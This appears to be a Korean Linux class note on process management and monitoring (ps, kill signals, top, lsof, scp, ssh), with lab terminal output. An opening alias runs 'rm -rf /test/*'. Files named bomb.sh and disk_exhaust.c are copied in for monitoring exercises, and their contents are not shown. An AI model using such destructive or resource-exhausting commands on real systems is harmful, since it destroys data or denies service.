alias pps='ps -ef | head -1 ; ps -ef | grep $1'
alias vi='/usr/bin/vim'
alias grep='grep -i --color'
alias a='cd /test && rm -rf /test/*'
alias b='cp /etc/passwd file1 ; cp file1 file2 ; cp file1 file3'
alias c='clear'

. ~/.bashrc

=================================복습=================================

쉘의 특성
 파이프
  # CMD | more
  # CMD | grep xinetd
 쉘 자체의 기능
  # set -o
  # set -o vi
  # set +o vi
 변수(Variable)
  변수의 종류
  -지역변수
  -환경변수
  -특수변수 : $$, $?, $!, $*, $#, $1, $2, $3, ...
  변수 선언 방법
  export 의미
  시스템 환경변수 set, env
   PS1, PS2
   PATH
   HISTIMEFORMAT
   HOME, PWD, LOGNAME, TERM, LANG, USER, UID
 쉘 메타캐릭터
 히스토리
 앨리어스
 환경파일

프로세스 관리
 프로세스 정보
 프로세스 관리1

=================================강의=================================

프로세스 관리
 프로세스 정보
 프로세스 관리1
  프로세스 실행
   fg) # gedit
   bg) # gedit &
  프로세스 확인
   # ps -ef | grep xinetd
   # ps aux | grep xinetd
  프로세스 종료
   # kill -[1|2|9|15] PID
   [참고] killall CMD //리눅스 전용
   [참고] pgrep/pkill CMD  
 잡 관리
  잡 실행
   fg) # gedit
   bg) # gedit &
  잡 확인
   # jobs
  잡 종료
   # kill %1 //Job ID를 지정할 수 있다
 프로세스 모니터링(in 프로세스 확인)
  top CMD
  (TUI) # top   (GUI) # gnome-system-monitor
  (TUI) # tail -f file.log (GUI) # gnome-system-

  [참고] top/ntop/iotop //network, disk i/o 모니터링 가능한 툴
 프로세스 관리 기타 명령어(in 프로세스 확인)
  lsof CMD
   # lsof  (# lsof | grep /tmp)
   # lsof -i
   # lsof -p PID
   # lsof -c sshd (# lsof | grep '^sshd')
  pmap CMD
   # pmap PID
  pstree CMD
  pwdx CMD
  nice/renice CMD
   # nice  -(-20 ~ 19) CMD
   # renice (-20 ~ 20) PID

   # nice -10 /root/bin/backup.sh &
   # renice 10 PID

원격접속과 파일전송 명령어
 파일 전송
  scp CMD
   # scp file1 172.16.9.252:/tmp
   # scp 172.16.9.252:/tmp/file1 /test
   # scp -r 172.16.9.252:/tmp/* /test
  sftp CMD
 원격 접속
  ssh CMD
   # ssh 172.16.9.252
   # ssh 172.16.9.252 CMD

=================================실습=================================

(2) 프로세스 정보 확인

[명령어 형식]
# ps    /* 현재 터미널에서 실행된 프로세스의 간략한 정보 확인 */
# ps -l   /* 현재 터미널에서 실행된 프로세스의 자세한 정보 확인 */
# ps -a   /* 사용자 프로세스에 대한 간략한 정보 확인 */
# ps -U <사용자명>  (# ps -U user01, # ps -U user01,user02,user03)
   /* 특정한 사용자가 실행시킨 프로세스의 간략한 정보 확인 */
# ps -t pts/5   /* 특정한 터미널에서 실행시킨 프로세스의 간략한 정보 확인 */

# ps aux | grep xinetd (# ps -ef | grep xinetd)
# ps -aux | grep xinetd


[EX] ps 명령어 실습

# ps /* 자신을 포함하여 자신이 실행한 프로세스를 확인 */
[root@linux220 ~]# ps
  PID TTY          TIME CMD
 4671 pts/1    00:00:00 bash
 4716 pts/1    00:00:00 ps

# ps -U root /* root 사용자가 사용하는 프로세스 정보를 보여줌 */
# ps /* 현재 터미널에서 실행된 프로세스의 간략한 정보 확인 */
# ps -t pts/3 /* 터미널창 번호를 확인 후에 해당 터미널의 프로세스 정보를 확인 */

# ps a /* 다른 사용자의 프로세스 상태도 표시 */
[root@linux220 ~]# ps a
  PID TTY      STAT   TIME COMMAND
 4249 tty1     Ss+    0:00 /sbin/mingetty tty1
 4250 tty2     Ss+    0:00 /sbin/mingetty tty2
 4251 tty3     Ss+    0:00 /sbin/mingetty tty3
 4261 tty4     Ss+    0:00 /sbin/mingetty tty4
 4271 tty5     Ss+    0:00 /sbin/mingetty tty5
 4273 tty6     Ss+    0:00 /sbin/mingetty tty6
 4355 tty7     Ss+    0:00 /usr/bin/Xorg :0 -br -audit 0 -auth /var/gdm/:0.Xauth -nolisten tcp vt7
 4671 pts/1    Ss     0:00 bash
 4720 pts/1    R+     0:00 ps a

# ps -ef | less /* 모든 프로세스 리스트를 출력하면서 모든 정보를 함께 출력 함 */
# ps aux | less  /* a : 다른 사용자의 프로세스 상태도 표시
      x : 화면에 보이지 않는 프로세스까지 모두 표시
      u : 프로세스를 사용한 사용자와 실행 시간까지 표시 */

[참고] ps aux를 통해 명령어 출력시 나오는 헤더부분 설명
user는 프로세스 소유자의 이름, ( u 옵션 )
PID는 프로세스 식별자 번호
%CPU : 마지막 1분 동안 프로세스가 사용한 CPU 점유율 ( u 옵션 )
%MAN : 마지막 1분 동안 프로세스가 사용한 메모리의 점유율 ( u,v 옵션 )
       -u 옵션으로 사용자의 ID나 이름을 지정하여 지정한 사용자의 프로세스만을 살펴 볼수 있다.
VSZ : 가상 메모리에 적재된 프로세스의 kb단위 크기
START는 프로세스가 시작된 시간

STAT 필드의 상태
-D : 디스크 입출력 대기 상태로 interrupts를 걸 수 없는 상태
-R : 실행중
-S : 짧은 sleep 상태
-T : 정지 상태
-Z : 좀비 상태
-W : 상주한 페이지가 없는 프로세스
-< : 높은 우선권 프로세스
-N : 낮은 우선권 프로세스
-L : 페이지가 락이 걸린 상태



프로세스를 죽이는 명령 - kill

(명령어 형식)
# kill PID (# kill -15 PID, # kill -TERM PID)
# kill PID PID PID
# kill -9 PID (# kill -KILL PID)
# kill -2 PID (# kill –INT PID)

[참고] 일반적으로 많이 쓰이는 시그널(Signal)
시그널 번호  시그널  이름  설 명
1   SIGHUP   프로세스 재시작(HangUp)  (EX: # kill -1 450)
2   SIGINT   인터럽트(Interrupt, <Ctrl + C>) (EX: # kill –2 450)
9   SIGKILL  강제 종료(force exit signal)  (EX: # kill -9 450)
15   SIGTERM  정상 종료(exit), 기본 시그널  (EX: # kill -15 450)
kill 명령에 아무 신호도 입력하지 않으면 15번 신호인 SIGTERM을 보낸다. (기본값)

[root@linux220 ~]# kill -l
 1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL
 5) SIGTRAP      6) SIGABRT      7) SIGBUS       8) SIGFPE
 9) SIGKILL     10) SIGUSR1     11) SIGSEGV     12) SIGUSR2
13) SIGPIPE     14) SIGALRM     15) SIGTERM     16) SIGSTKFLT
17) SIGCHLD     18) SIGCONT     19) SIGSTOP     20) SIGTSTP
21) SIGTTIN     22) SIGTTOU     23) SIGURG      24) SIGXCPU
25) SIGXFSZ     26) SIGVTALRM   27) SIGPROF     28) SIGWINCH
29) SIGIO       30) SIGPWR      31) SIGSYS      34) SIGRTMIN
35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3  38) SIGRTMIN+4
39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12
47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14
51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10
55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7  58) SIGRTMAX-6
59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
63) SIGRTMAX-1  64) SIGRTMAX

실무에 나가면 3번(SIGQUIT), 8번(SIGFPE) 시그널도 쓰인다고 한다



[EX] kill 명령어 실습

[root@linux220 ~]# ps -ef | grep sendmail
root      4086     1  0 16:01 ?        00:00:00 sendmail: accepting connections
smmsp     4094     1  0 16:01 ?        00:00:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue
root      4784  4671  0 16:37 pts/1    00:00:00 grep -i --color sendmail
[root@linux220 ~]# kill 4086
[root@linux220 ~]# ps -ef | grep sendmail
smmsp     4094     1  0 16:01 ?        00:00:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue
root      4787  4671  0 16:38 pts/1    00:00:00 grep -i --color sendmail

[root@linux220 ~]# service sendmail restart
sm-client을 종료 중:                                       [  OK  ]
sendmail를 종료 중:                                        [실패]
sendmail (을)를 시작 중:                                   [  OK  ]
sm-client를 시작 중:                                       [  OK  ]
[root@linux220 ~]# ps -ef | grep sendmail
root      4818     1  0 16:38 ?        00:00:00 sendmail: accepting connections
smmsp     4826     1  0 16:38 ?        00:00:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue
root      4830  4671  0 16:38 pts/1    00:00:00 grep -i --color sendmail
[root@linux220 ~]# kill -9 4826
[root@linux220 ~]# ps -ef | grep sendmail
root      4818     1  0 16:38 ?        00:00:00 sendmail: accepting connections
root      4833  4671  0 16:38 pts/1    00:00:00 grep -i --color sendmail

[root@linux220 ~]# service sendmail restart
sm-client을 종료 중:                                       [실패]
sendmail를 종료 중:                                        [  OK  ]
sendmail (을)를 시작 중:                                   [  OK  ]
sm-client를 시작 중:                                       [  OK  ]
[root@linux220 ~]# ps -ef | grep sendmail
root      4864     1  0 16:40 ?        00:00:00 sendmail: accepting connections
smmsp     4872     1  0 16:40 ?        00:00:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue
root      4876  4671  0 16:40 pts/1    00:00:00 grep -i --color sendmail
[root@linux220 ~]# kill -1 4872
[root@linux220 ~]# ps -ef | grep sendmail
root      4864     1  0 16:40 ?        00:00:00 sendmail: accepting connections
smmsp     4878     1  0 16:40 ?        00:00:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue
root      4881  4671  0 16:40 pts/1    00:00:00 grep -i --color sendmail

[root@linux220 ~]# service httpd restart
httpd 를 정지 중:                                          [실패]
httpd (을)를 시작 중:                                      [  OK  ]
[root@linux220 ~]# ps -ef | grep httpd
root      4899     1  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4901  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4902  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4903  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4904  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4905  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4906  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4907  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4908  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
root      4910  4671  0 16:41 pts/1    00:00:00 grep -i --color httpd
[root@linux220 ~]# kill -15 4899 4901 4902 4903 4904 ...
[root@linux220 ~]# killall httpd
[root@linux220 ~]# kill `ps -ef | grep httpd | grep -v grep | awk '{print $2}'`

[root@linux220 ~]# ps -ef | grep httpd | grep -v grep
root      4899     1  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4901  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4902  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4903  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4904  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4905  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4906  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4907  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
apache    4908  4899  0 16:41 ?        00:00:00 /usr/sbin/httpd
[root@linux220 ~]# ps -ef | grep httpd | grep -v grep | awk '{print $2}'
4899
4901
4902
4903
4904
4905
4906
4907
4908



프로세스 모니터링

(1) top 명령 (ps와 같은 명령어 - 차이점? top은 실시간 모니터링)

[참고] 서버에 접속하여 시스템 모니터링

[TERM1] (TUI) # top (GUI) # gnome-system-monitor
[TERM2] (TUI) # tail -f /var/log/messages (GUI) # gnome-system-log

실시간으로 프로세스의 상태나 CPU, 메모리, 접속한 사용자의 수 등을 알 수 있게 된다.
시스템의 성능을 확인하려 할 때 많이 사용하게 된다.

그림1

기본설정
명령어 수행 시간 간격(time interval)은 3 ~ 4초
CPU 사용량별로 정열(Sorting)

(명령어 형식)
# top
# top -u oracle /* 해당 사용자의 프로세스 정보를 실시간 모니터링 */
# top -p PID1,PID2,PID3 /* 해당 번호의 프로세스 정보를 실시간 모니터링 */


[EX1] top 명령어 기본 사용방법 실습
# top -h (# top --help)

# top

그림2

(첫 번째 줄) 시스템의 현재 시간과 시스템이 부팅된 후 작동한 시간, 현재 사용자 수를 보여주며,
             loadaverage는 CPU 로드의 평균 값을 보여준다.
(두 번째 줄) 시스템에 동작중인 프로세스의 상태를 보여준다.
(세 번째 줄) CPU의 상태를 보여준다
(네 번째 / 다섯 번째 줄)
             총 사용 가능 메모리, 사용된 메모리, 사용할 수 있는 메모리,
             공유 메모리, 버퍼로 사용된 메모리, 스왑 메모리등 메모리에 관한 정보를 보여준다.
             각각의 시스템 자원에 따른 프로세스의 점유율을 확인 할 수 있다.

기본적으로 cpu 사용량으로 sort 되어 있음

h help

Help for Interactive Commands - procps version 3.2.7
Window 1:Def: Cumulative mode Off.  System: Delay 3.0 secs; Secure mode Off.

  Z,B       Global: 'Z' change color mappings; 'B' disable/enable bold
  l,t,m     Toggle Summaries: 'l' load avg; 't' task/cpu stats; 'm' mem info
  1,I       Toggle SMP view: '1' single/separate states; 'I' Irix/Solaris mode

  f,o     . Fields/Columns: 'f' add or remove; 'o' change display order
  F or O  . Select sort field
  <,>     . Move sort field: '<' next col left; '>' next col right
  R,H     . Toggle: 'R' normal/reverse sort; 'H' show threads
  c,i,S   . Toggle: 'c' cmd name/line; 'i' idle tasks; 'S' cumulative time
  x,y     . Toggle highlights: 'x' sort field; 'y' running tasks
  z,b     . Toggle: 'z' color/mono; 'b' bold/reverse (only if 'x' or 'y')
  u       . Show specific user only
  n or #  . Set maximum tasks displayed

  k,r       Manipulate tasks: 'k' kill; 'r' renice
  d or s    Set update interval
  W         Write configuration file
  q         Quit
          ( commands shown with '.' require a visible task display window )
Press 'h' or '?' for help with Windows,
any other key to continue

F 눌러서 sorting 기준 변경 가능


[EX2] 사용자 별로 모니터링

(명령어 형식)
# top -u root
# top -u oracle
# top -u wasuser

[TERM1] root 사용자 윈도우
# top -u fedora

[TERM2] fedora 사용자 윈도우
# telnet localhost
fedora 사용자로 로그인
$ id
$ bash -----> 관리자 윈도우 확인
$ ksh -----> 관리자 윈도우 확인
$ vi /etc/passwd
$ exit
$ exit
$ exit

그림3


[EX3] 몇개의 프로세스만 모니터링

(명령어 형식)
# top -p 1
# top -p 1,PID


[EX4] 모니터링 툴 종류

# top - Display Linux tasks
# free - Display amount of free and used memory in the system
# /usr/bin/baobab - A graphical tool to analyse disk usage
# /usr/bin/xload - System load average display for X
# /usr/bin/gnome-system-monitor - System monitor
# /usr/bin/gnome-system-log - /var/logs/messages log viewer

[root@linux220 ~]# gnome-
gnome-about                              gnome-pilot-make-password
gnome-about-me                           gnome-power-inhibit-test
gnome-accessibility-keyboard-properties  gnome-power-manager
gnome-at-properties                      gnome-power-preferences
gnome-audio-profiles-properties          gnome-screensaver
gnome-background-properties              gnome-screensaver-command
gnome-calculator                         gnome-screensaver-preferences
gnome-cd                                 gnome-screenshot
gnome-character-map                      gnome-search-tool
gnome-control-center                     gnome-session
gnome-default-applications-properties    gnome-session-properties
gnome-default-printer                    gnome-session-remove
gnome-desktop-item-edit                  gnome-session-save
gnome-dictionary                         gnome-sound-properties
gnome-display-properties                 gnome-system-log
gnome-doc-prepare                        gnome-system-monitor
gnome-eject                              gnome-terminal
gnome-file-share-properties              gnome-text-editor
gnome-font-properties                    gnome-theme-manager
gnome-font-viewer                        gnome-theme-thumbnailer
gnome-help                               gnome-thumbnail-font
gnome-keybinding-properties              gnome-typing-monitor
gnome-keyboard-properties                gnome-ui-properties
gnome-keyring-daemon                     gnome-umount
gnome-mount                              gnome-volume-control
gnome-mouse-properties                   gnome-volume-manager
gnome-network-preferences                gnome-volume-properties
gnome-open                               gnome-window-properties
gnome-panel                              gnome-wm
gnome-panel-screenshot                  
[root@linux220 ~]# gnome-system-
gnome-system-log      gnome-system-monitor 



[EX5] 시스템 모니터링(CPU/MEM)

[root@linux220 ~]# mkdir -p /root/bin
[root@linux220 ~]# cd /root/bin
[root@linux220 ~/bin]# scp 172.16.9.252:/root/shell/* /root/bin
The authenticity of host '172.16.9.252 (172.16.9.252)' can't be established.
RSA key fingerprint is e2:f0:f8:a2:47:3b:b4:7c:ae:65:38:0e:31:bf:1f:84.
Are you sure you want to continue connecting (yes/no)? y
Please type 'yes' or 'no': yes
Warning: Permanently added '172.16.9.252' (RSA) to the list of known hosts.
root@172.16.9.252's password:
CoffeeTime.txt                                                               100%  840     0.8KB/s   00:00   
CoffeeTime2.txt                                                              100% 1423     1.4KB/s   00:00   
bomb.sh                                                                      100%   49     0.1KB/s   00:00   
bomb_exec.sh                                                                 100%  277     0.3KB/s   00:00   
cow.txt                                                                      100%  250     0.2KB/s   00:00   
cow2.txt                                                                     100%  256     0.3KB/s   00:00   
cow3.txt                                                                     100%  256     0.3KB/s   00:00   
cpu.sh                                                                       100%  261     0.3KB/s   00:00   
cpu2.sh                                                                      100%  194     0.2KB/s   00:00   
cpu3.sh                                                                      100%  303     0.3KB/s   00:00   
disk_exhaust.c                                                               100%  226     0.2KB/s   00:00   
dog.txt                                                                      100%  196     0.2KB/s   00:00   
dog2.txt                                                                     100%  232     0.2KB/s   00:00   
dog3.txt                                                                     100%  229     0.2KB/s   00:00   
mailling.sh                                                                  100%  888     0.9KB/s   00:00   
mem                                                                          100% 5141     5.0KB/s   00:00   
mem.c                                                                        100%  264     0.3KB/s   00:00   
network.sh                                                                   100%  338     0.3KB/s   00:00   
proc_count.sh                                                                100%   97     0.1KB/s   00:00   
telnet.sh                                                                    100%  330     0.3KB/s   00:00   



cpu.sh
그림4, 그림5

cpu2.sh
그림6, 그림7

cpu3.sh
그림8, 그림9

mem.c
그림10

disk_exhaust.c



(2) lsof(List Open File) 명령어

프로세스에 의해 열려진 파일들에 대한 정보를 볼 수 있다.
특정 파일을 접근하고 있는 프로세스인지 특정 포트로 접속한 사용자를 확인 할 때 유용한 프로세스이다.

[명령어 형식]
# lsof
# lsof -p <PID번호>
# lsof -c <데몬명>

[root@linux220 ~]# ps -ef | grep sendmail
root      4864     1  0 16:40 ?        00:00:00 sendmail: accepting connections
smmsp     4878     1  0 16:40 ?        00:00:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue
root      8620  8601  0 17:54 pts/1    00:00:00 grep -i --color sendmail
[root@linux220 ~]# lsof -p 4864
COMMAND   PID USER   FD   TYPE     DEVICE    SIZE    NODE NAME
sendmail 4864 root  cwd    DIR        8,1    4096 3434270 /var/spool/mqueue
sendmail 4864 root  rtd    DIR        8,1    4096       2 /
sendmail 4864 root  txt    REG        8,1  806460  275046 /usr/sbin/sendmail.sendmail
sendmail 4864 root  mem    REG        8,1         7457978 /lib/libcrypt-2.5.so (path inode=7456539)
sendmail 4864 root  mem    REG        8,1   99060  273686 /usr/lib/libsasl2.so.2.0.22
sendmail 4864 root  mem    REG        8,1   53756  275649 /usr/lib/liblber-2.3.so.0.2.31
sendmail 4864 root  mem    REG        8,1    7748 7457987 /lib/libcom_err.so.2.1
sendmail 4864 root  mem    REG        8,1  157304  273660 /usr/lib/libk5crypto.so.3.1
sendmail 4864 root  mem    REG        8,1         7457969 /lib/libdl-2.5.so (path inode=7456541)
sendmail 4864 root  mem    REG        8,1         7457970 /lib/libpthread-2.5.so (path inode=7456559)
sendmail 4864 root  mem    REG        8,1   93508 7457986 /lib/libselinux.so.1
sendmail 4864 root  mem    REG        8,1   16832  360815 /usr/lib/sasl2/libcrammd5.so.2.0.22
sendmail 4864 root  mem    REG        8,1   14372  360701 /usr/lib/sasl2/libanonymous.so.2.0.22
sendmail 4864 root  mem    REG        8,1   14848  360761 /usr/lib/sasl2/libplain.so.2.0.22
sendmail 4864 root  mem    REG        8,1 1011184 7457993 /lib/libdb-4.3.so
sendmail 4864 root  mem    REG        8,1  610836  273661 /usr/lib/libkrb5.so.3.3
sendmail 4864 root  mem    REG        8,1  245376 7457985 /lib/libsepol.so.1
sendmail 4864 root  mem    REG        8,1   47172  360819 /usr/lib/sasl2/libdigestmd5.so.2.0.22
sendmail 4864 root  mem    REG        8,1         7457954 /lib/ld-2.5.so (path inode=7456528)
sendmail 4864 root  mem    REG        8,1  190712  273662 /usr/lib/libgssapi_krb5.so.2.2
sendmail 4864 root  mem    REG        8,1  240584  270215 /usr/lib/libldap-2.3.so.0.2.31
sendmail 4864 root  mem    REG        8,1   32824 7456716 /lib/libwrap.so.0.7.6
sendmail 4864 root  mem    REG        8,1         7457968 /lib/libc-2.5.so (path inode=7456535)
sendmail 4864 root  mem    REG        8,1    7880 7457983 /lib/libkeyutils-1.2.so
sendmail 4864 root  mem    REG        8,1   14752  360757 /usr/lib/sasl2/liblogin.so.2.0.22
sendmail 4864 root  mem    REG        8,1   15496  278087 /usr/lib/libhesiod.so.0.0.0
sendmail 4864 root  mem    REG        8,1  905200  360823 /usr/lib/sasl2/libsasldb.so.2.0.22
sendmail 4864 root  mem    REG        8,1         7456552 /lib/libnss_files-2.5.so (path inode=7456551)
sendmail 4864 root  mem    REG        8,1  293108 7457989 /lib/libssl.so.0.9.8e
sendmail 4864 root  mem    REG        8,1         7457982 /lib/libnsl-2.5.so (path inode=7456545)
sendmail 4864 root  mem    REG        8,1   33680  273659 /usr/lib/libkrb5support.so.0.1
sendmail 4864 root  mem    REG        8,1         7457984 /lib/libresolv-2.5.so (path inode=7456561)
sendmail 4864 root  mem    REG        8,1   75028   65602 /usr/lib/libz.so.1.2.3
sendmail 4864 root  mem    REG        8,1 1296932 7457988 /lib/libcrypto.so.0.9.8e
sendmail 4864 root    0r   CHR        1,3            1646 /dev/null
sendmail 4864 root    1w   CHR        1,3            1646 /dev/null
sendmail 4864 root    2w   CHR        1,3            1646 /dev/null
sendmail 4864 root    3u  unix 0xf258ee40           18051 socket
sendmail 4864 root    4u  IPv4      18052             TCP localhost.localdomain:smtp (LISTEN)
sendmail 4864 root    5wW  REG        8,1      33 3435270 /var/run/sendmail.pid


[root@linux220 ~]# lsof -i //현재 사용하고 있는 모든 소켓 상태를 확인 가능
COMMAND    PID   USER   FD   TYPE DEVICE SIZE NODE NAME
portmap   3705    rpc    3u  IPv4   8708       UDP *:sunrpc
portmap   3705    rpc    4u  IPv4   8717       TCP *:sunrpc (LISTEN)
rpc.statd 3746   root    3u  IPv4   8837       UDP *:957
rpc.statd 3746   root    6u  IPv4   8820       UDP *:954
rpc.statd 3746   root    7u  IPv4   8892       TCP *:960 (LISTEN)
hpiod     3950   root    0u  IPv4  10927       TCP localhost.localdomain:2208 (LISTEN)
python    3955   root    4u  IPv4  10945       TCP localhost.localdomain:2207 (LISTEN)
cupsd     3977   root    4u  IPv4  11016       TCP localhost.localdomain:ipp (LISTEN)
cupsd     3977   root    6u  IPv4  11019       UDP *:ipp
xinetd    3991   root    5u  IPv4  11085       TCP *:telnet (LISTEN)
avahi-dae 4182  avahi   13u  IPv4  11504       UDP *:mdns
avahi-dae 4182  avahi   14u  IPv6  11505       UDP *:mdns
avahi-dae 4182  avahi   15u  IPv4  11506       UDP *:56077
avahi-dae 4182  avahi   16u  IPv6  11507       UDP *:55056
sendmail  4864   root    4u  IPv4  18052       TCP localhost.localdomain:smtp (LISTEN)
httpd     4899   root    4u  IPv6  18270       TCP *:http (LISTEN)
httpd     4899   root    6u  IPv6  18275       TCP *:https (LISTEN)
httpd     4901 apache    4u  IPv6  18270       TCP *:http (LISTEN)
httpd     4901 apache    6u  IPv6  18275       TCP *:https (LISTEN)
httpd     4902 apache    4u  IPv6  18270       TCP *:http (LISTEN)
httpd     4902 apache    6u  IPv6  18275       TCP *:https (LISTEN)
httpd     4903 apache    4u  IPv6  18270       TCP *:http (LISTEN)
httpd     4903 apache    6u  IPv6  18275       TCP *:https (LISTEN)
httpd     4904 apache    4u  IPv6  18270       TCP *:http (LISTEN)
httpd     4904 apache    6u  IPv6  18275       TCP *:https (LISTEN)
httpd     4905 apache    4u  IPv6  18270       TCP *:http (LISTEN)
httpd     4905 apache    6u  IPv6  18275       TCP *:https (LISTEN)
httpd     4906 apache    4u  IPv6  18270       TCP *:http (LISTEN)
httpd     4906 apache    6u  IPv6  18275       TCP *:https (LISTEN)
httpd     4907 apache    4u  IPv6  18270       TCP *:http (LISTEN)
httpd     4907 apache    6u  IPv6  18275       TCP *:https (LISTEN)
httpd     4908 apache    4u  IPv6  18270       TCP *:http (LISTEN)
httpd     4908 apache    6u  IPv6  18275       TCP *:https (LISTEN)
sshd      8529   root    3u  IPv6 164390       TCP *:ssh (LISTEN)


[root@linux220 ~]# ssh root@172.16.9.252
root@172.16.9.252's password:
Last login: Wed Apr 20 17:56:23 2016 from 172.16.6.204
[linux252@~]#  lsof -i@172.16.9.252
COMMAND   PID  USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
named    4146 named   21u  IPv4   10024      0t0  TCP linux252.example.com:domain (LISTEN)
named    4146 named  513u  IPv4   10023      0t0  UDP linux252.example.com:domain
ntpd     4632   ntp   23u  IPv4   13218      0t0  UDP linux252.example.com:ntp
nmbd    14773  root   16u  IPv4 1703377      0t0  UDP linux252.example.com:netbios-ns
nmbd    14773  root   17u  IPv4 1703378      0t0  UDP linux252.example.com:netbios-dgm
sshd    30673  root    3u  IPv4 2770886      0t0  TCP linux252.example.com:ssh->172.16.6.229:37478 (ESTABLISHED)
sshd    30708  root    3u  IPv4 2775559      0t0  TCP linux252.example.com:ssh->172.16.6.200:56786 (ESTABLISHED)
sshd    30712  root    3u  IPv4 2775584      0t0  TCP linux252.example.com:ssh->172.16.6.249:44787 (ESTABLISHED)
sshd    30738  root    3u  IPv4 2775657      0t0  TCP linux252.example.com:ssh->172.16.6.207:38941 (ESTABLISHED)
sshd    30740  root    3u  IPv4 2775682      0t0  TCP linux252.example.com:ssh->172.16.6.224:42207 (ESTABLISHED)
sshd    30742  root    3u  IPv4 2775711      0t0  TCP linux252.example.com:ssh->172.16.6.226:51533 (ESTABLISHED)
sshd    30794  root    3u  IPv4 2775895      0t0  TCP linux252.example.com:ssh->172.16.6.225:58355 (ESTABLISHED)
sshd    30820  root    3u  IPv4 2775970      0t0  TCP linux252.example.com:ssh->172.16.6.214:55465 (ESTABLISHED)
sshd    30822  root    3u  IPv4 2775990      0t0  TCP linux252.example.com:ssh->ns1.linux215.1.16.172.in-addr.arpa:37253 (ESTABLISHED)
sshd    30848  root    3u  IPv4 2776070      0t0  TCP linux252.example.com:ssh->172.16.6.220:52092 (ESTABLISHED)
sshd    30850  root    3u  IPv4 2776097      0t0  TCP linux252.example.com:ssh->172.16.6.205:52797 (ESTABLISHED)
sshd    30852  root    3u  IPv4 2776117      0t0  TCP linux252.example.com:ssh->172.16.6.210:49774 (ESTABLISHED)
sshd    30854  root    3u  IPv4 2776149      0t0  TCP linux252.example.com:ssh->172.16.6.208:48337 (ESTABLISHED)
sshd    30856  root    3u  IPv4 2776174      0t0  TCP linux252.example.com:ssh->172.16.6.217:49906 (ESTABLISHED)
sshd    30858  root    3u  IPv4 2776199      0t0  TCP linux252.example.com:ssh->172.16.6.216:55602 (ESTABLISHED)
sshd    30884  root    3u  IPv4 2776272      0t0  TCP linux252.example.com:ssh->172.16.6.209:39253 (ESTABLISHED)
sshd    30887  root    3u  IPv4 2776297      0t0  TCP linux252.example.com:ssh->172.16.6.218:41942 (ESTABLISHED)
sshd    30937  root    3u  IPv4 2776442      0t0  TCP linux252.example.com:ssh->172.16.6.204:47412 (ESTABLISHED)
sshd    30988  root    3u  IPv4 2776967      0t0  TCP linux252.example.com:ssh->172.16.6.203:59064 (ESTABLISHED)
sshd    31038  root    3u  IPv4 2777110      0t0  TCP linux252.example.com:ssh->172.16.6.222:48034 (ESTABLISHED)
sshd    31039  sshd    3u  IPv4 2777110      0t0  TCP linux252.example.com:ssh->172.16.6.222:48034 (ESTABLISHED)
sshd    31168  root    3u  IPv4 2778217      0t0  TCP linux252.example.com:ssh->172.16.6.223:60886 (ESTABLISHED)
sshd    31173  root    3u  IPv4 2778327      0t0  TCP linux252.example.com:ssh->172.16.6.213:46232 (ESTABLISHED)
sshd    31204  root    3u  IPv4 2778838      0t0  TCP linux252.example.com:ssh->172.16.6.202:55859 (ESTABLISHED)
sshd    31205  sshd    3u  IPv4 2778838      0t0  TCP linux252.example.com:ssh->172.16.6.202:55859 (ESTABLISHED)


[root@linux220 ~]# lsof -c sshd | more //특정 데몬이 사용하고 있는 모든 파일의 정보 출력
COMMAND  PID USER   FD   TYPE DEVICE    SIZE    NODE NAME
sshd    8529 root  cwd    DIR    8,1    4096       2 /
sshd    8529 root  rtd    DIR    8,1    4096       2 /
sshd    8529 root  txt    REG    8,1  408576 1340939 /usr/sbin/sshd
sshd    8529 root  mem    REG    8,1  190712  273662 /usr/lib/libgssapi_krb5.so.2.2
sshd    8529 root  mem    REG    8,1  610836  273661 /usr/lib/libkrb5.so.3.3
sshd    8529 root  mem    REG    8,1    7880 7457983 /lib/libkeyutils-1.2.so
sshd    8529 root  mem    REG    8,1   98532  273688 /usr/lib/libnssutil3.so
sshd    8529 root  mem    REG    8,1   15556  273685 /usr/lib/libplc4.so
sshd    8529 root  mem    REG    8,1  228028  273683 /usr/lib/libnspr4.so
sshd    8529 root  mem    REG    8,1  135928 7456559 /lib/libpthread-2.5.so
sshd    8529 root  mem    REG    8,1   50848 7456551 /lib/libnss_files-2.5.so
sshd    8529 root  mem    REG    8,1   11460  273684 /usr/lib/libplds4.so
sshd    8529 root  mem    REG    8,1   97220 7456701 /lib/libaudit.so.0.0.0
sshd    8529 root  mem    REG    8,1  107924 7456545 /lib/libnsl-2.5.so
